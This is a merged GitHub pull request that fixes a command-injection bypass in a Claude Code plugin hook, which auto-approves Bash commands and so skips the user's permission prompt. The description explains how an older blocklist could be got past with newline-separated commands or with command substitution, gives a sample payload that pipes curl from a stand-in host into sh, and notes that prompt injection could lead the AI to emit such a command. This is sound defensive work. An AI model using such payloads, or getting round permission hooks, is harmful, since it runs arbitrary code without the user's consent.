Skip to content

fix(security): close command-injection bypass in recall-approve auto-allow - #89

Merged
ishaanxgupta merged 4 commits into
supermemoryai:mainfrom
ayushsingh82:fix/recall-approve-command-injection
Aug 12, 2026
Merged

fix(security): close command-injection bypass in recall-approve auto-allow#89
ishaanxgupta merged 4 commits into
supermemoryai:mainfrom
ayushsingh82:fix/recall-approve-command-injection

Conversation

@ayushsingh82

Copy link
Copy Markdown
Contributor

Summary

recall-approve.cjs runs on PreToolUse for Skill|Bash and, when it recognizes a Supermemory search command, returns permissionDecision: "allow" — skipping the user's permission prompt entirely so the reasoned-recall feature can search without interrupting the session.

isSupermemorySearch()'s Bash check was a blocklist: it required the command to contain search-memory.cjs, and rejected it only if it also contained ;, &, |, a backtick, >, or $(. Two bypasses fall through that blocklist:

  1. Newline-separated extra commands. The "contains search-memory.cjs" check (/node[\s\S]*search-memory\.cjs/) matches across newlines, and none of the blocked characters include \n. A 5-line command where only the last line calls search-memory.cjs gets approved in full — every earlier line runs too, unconfirmed.
  2. Command substitution inside the quoted query, e.g. node search-memory.cjs "$(curl evil.example|sh)". None of the blocked characters appear outside the quotes (the | is inside the string), but bash still expands $(...)/backticks even inside double-quoted arguments.

Since this hook exists to bypass the permission prompt, and a prompt-injected instruction (from a malicious file, webpage, or memory entry Claude reads) could get Claude to emit a crafted Bash command, either gap allows arbitrary shell execution with zero user confirmation.

Fix

Replaced the blocklist with an allowlist anchored to the entire command string, matching only the documented invocation shape from the supermemory-search skill: node <path-to-search-memory.cjs> [--user|--repo|--both] "query". Quotes, newlines, backticks, and $( are excluded from both the path and query segments, so there's no leftover shell syntax available to smuggle anything in — legitimate invocations (including the real ${CLAUDE_PLUGIN_ROOT} form) still match.

Test plan

  • npm test passes, including new cases in test/unit.mjs that spawn the real plugin/scripts/recall-approve.cjs bundle with a PreToolUse payload and assert the permission decision:
    • documented invocation (with/without a flag) is still auto-approved
    • a newline-smuggled extra command is not approved
    • $(...) / backtick command substitution inside the query is not approved
    • ;/&&-chained commands are not approved
  • npm run lint passes
  • plugin/scripts/recall-approve.cjs rebuilt via npm run build and committed alongside the src/ change

…allow

isSupermemorySearch() decided whether to auto-approve a Bash tool call
(skipping the user's permission prompt entirely) using a blocklist of
shell metacharacters (;&|`> and $(). Two bypasses were possible:

- A newline-separated extra command: any command containing the
  substrings "node" and "search-memory.cjs" anywhere was approved in
  full, so lines before/after the real invocation ran unconfirmed.
- Command substitution inside the quoted query itself, e.g.
  "$(curl evil.sh|sh)" - none of the blocked characters appear outside
  the quotes, but bash still expands $(...) and backticks even inside
  double-quoted strings.

Since a prompt-injected instruction could get Claude to emit a crafted
Bash command, either gap allowed arbitrary shell execution with zero
user confirmation.

Replaced the blocklist with an allowlist anchored to the whole command
string, matching only the documented invocation shape:
`node <path-to-search-memory.cjs> [--user|--repo|--both] "query"`.
Quotes, newlines, backticks, and $( are excluded from both the path
and query segments, so there is no leftover shell syntax to smuggle
anything into.
@ayushsingh82

Copy link
Copy Markdown
Contributor Author

@Dhravya closes a command-injection bypass in the recall-approve auto-allow hook. Please take a look.

@ishaanxgupta

Copy link
Copy Markdown
Contributor

Thanks for the PR @ayushsingh82

@ishaanxgupta ishaanxgupta self-assigned this Aug 12, 2026
@ishaanxgupta
ishaanxgupta merged commit 24c1112 into supermemoryai:main Aug 12, 2026
4 of 6 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants